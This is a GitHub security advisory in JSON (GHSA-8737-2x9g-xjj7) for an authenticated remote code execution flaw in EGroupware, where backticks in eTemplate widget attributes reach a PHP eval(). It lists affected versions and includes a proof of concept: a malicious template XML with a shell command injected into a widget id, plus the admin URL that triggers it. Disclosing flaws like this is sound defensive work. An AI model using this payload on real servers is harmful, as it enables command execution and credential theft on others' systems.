{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 26.0.20260113"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.0.20251208"
            },
            {
              "fixed": "26.4.20260413"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.1.20260601"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T13:01:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (`.xet`) to the VFS `/etemplates` mount.\n\nThe `Widget::expand_name()` method passes template widget attribute values directly into a PHP `eval()` call with only double-quote escaping applied - **backtick characters are not escaped**.\n\nIn PHP, backticks inside a double-quoted `eval()` string execute shell commands. This allows an admin-level user to escalate from web\napplication access to arbitrary OS command execution on the server.\n\n------------------------------------------------------------------------\n\n## Details\n\nThe vulnerability is located in `api/src/Etemplate/Widget.php`, `Widget::expand_name()`:  (lines 703\u2013728)\n\nThe method is designed to expand PHP variables (e.g., `$row`, `$col`,`$cont[id]`) in widget attribute values for auto-repeat grids. The `eval()` is triggered whenever `$name` contains a `$` character (line 706). The only sanitization applied before the eval is:\n\n``` php\nstr_replace(\u0027\"\u0027, \u0027\\\\\"\u0027, $name)\n```\n\nThis escapes double quotes only. **Backtick characters are not escaped**. In PHP, backticks inside a double-quoted string in `eval()` are treated as shell execution operators \u2014 equivalent to  `shell_exec()`. A widget `id` of `$row\\`id`` produces:\n\n```\neval(\u0027$name = \"$row`id`\";\u0027);  // executes shell command: id\n```\n\n`expand_name()` is called from:\n\n-   `form_name()`\n-   `expand_widget()`\n-   `set_attrs()`\n-   `Template::run()`\n\nThe `/etemplates` VFS path is created exclusively for admin users \u2014 it is `chgrp`\u0027d to `Admins` and `chmod`\u0027d to `075` (Admins group has full rwx): class.filemanager_admin.inc.php:95-106\n\nCustom templates in `/etemplates` take precedence over built-in filesystem templates, meaning a malicious template can silently override any existing application template.\n\n\n**Mitigating factor**: The official Docker deployment sets `disable_functions = exec,passthru,shell_exec,system,proc_open,popen` in `php.ini`, which also blocks PHP backtick execution (backticks internally call shell_exec). Non-Docker or non-hardened deployments without this `php.ini` setting are fully vulnerable. Dockerfile:47\n\nThe current master branch in api/setup/setup.inc.php, confirming the vulnerability is present in the latest code as of today. setup.inc.php:14-17\n\n\n------------------------------------------------------------------------\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n-   Admin account\n-   Non-Docker deployment, or Docker deployment where disable_functions has been removed/modified in php.ini\n\n\n### Step 1 \u2014 Mount /etemplates:\nLog in as admin, navigate to Admin \u2192 Filemanager \u2192 VFS Mounts, and click \"Install custom templates\". This executes the code in `filemanager_admin.inc.php` that mounts `/etemplates` with Admins-group write access.\n\n### Step 2 \u2014 Upload malicious template:\n\nCreate a file named `index.xet` with the following content:\n\n``` xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003coverlay\u003e\n  \u003ctemplate id=\"admin.index\"\u003e\n    \u003cgrid\u003e\n      \u003ccolumns\u003e\u003ccolumn/\u003e\u003c/columns\u003e\n      \u003crows\u003e\n        \u003crow\u003e\n          \u003ctextbox id=\"$row`touch /tmp/pwned_egw 2\u003e/dev/null`\"/\u003e\n        \u003c/row\u003e\n      \u003c/rows\u003e\n    \u003c/grid\u003e\n  \u003c/template\u003e\n\u003c/overlay\u003e\n```\nUpload this file to `/etemplates/admin/templates/default/index.xet` via the VFS filemanager.\n\n\n### Step 3 \u2014 Trigger execution:\nNavigate to the EGroupware admin panel:\n```\nhttps://\u003ctarget\u003e/egroupware/index.php?menuaction=admin.admin_ui.index  \n```\nWhen the template is loaded and beforeSendToClient() runs, form_name() calls expand_name() with $name = \u0027$row\\touch /tmp/pwned_egw 2\u003e/dev/null`\u0027and$row = 0`. The eval becomes:\n```\neval(\u0027$name = \"$row`touch /tmp/pwned_egw 2\u003e/dev/null`\";\u0027);\n\n```\n\nPHP executes the backtick expression as a shell command.\n\n### Step 4 \u2014 Verify:\nCheck that `/tmp/pwned_egw` was created on the server. For a more impactful demonstration, replace `touch /tmp/pwned_egw` with `id \u003e /tmp/pwned_egw` to capture the web server\u0027s OS user identity.\n\n\n\n------------------------------------------------------------------------\n\n## Impact\n\nAuthenticated Remote Code Execution (RCE) via eval() with unsanitized shell metacharacters.\n\nWho is impacted: Any EGroupware installation where:\n\n1. An admin account is compromised or a malicious admin exists, AND\n2. The server is not running with disable_functions blocking shell_exec (i.e., non-Docker or misconfigured deployments)\n\n------------------------------------------------------------------------\n\n## Severity\n\nThe vulnerability allows escalation from EGroupware admin-level web access to arbitrary OS command execution as the web server user (typically www-data). From there, an attacker can read configuration files (including database credentials), pivot to other services, or establish persistence. This is not exploitable by regular (non-admin) users. The official Docker deployment is not affected due to disable_functions, but bare-metal, VM, or custom container deployments without this hardening are fully vulnerable.",
  "id": "GHSA-8737-2x9g-xjj7",
  "modified": "2026-07-07T13:01:31Z",
  "published": "2026-07-07T13:01:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EGroupware/egroupware/security/advisories/GHSA-8737-2x9g-xjj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EGroupware/egroupware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "EGroupware has Authenticated RCE via Malicious eTemplate Upload"
}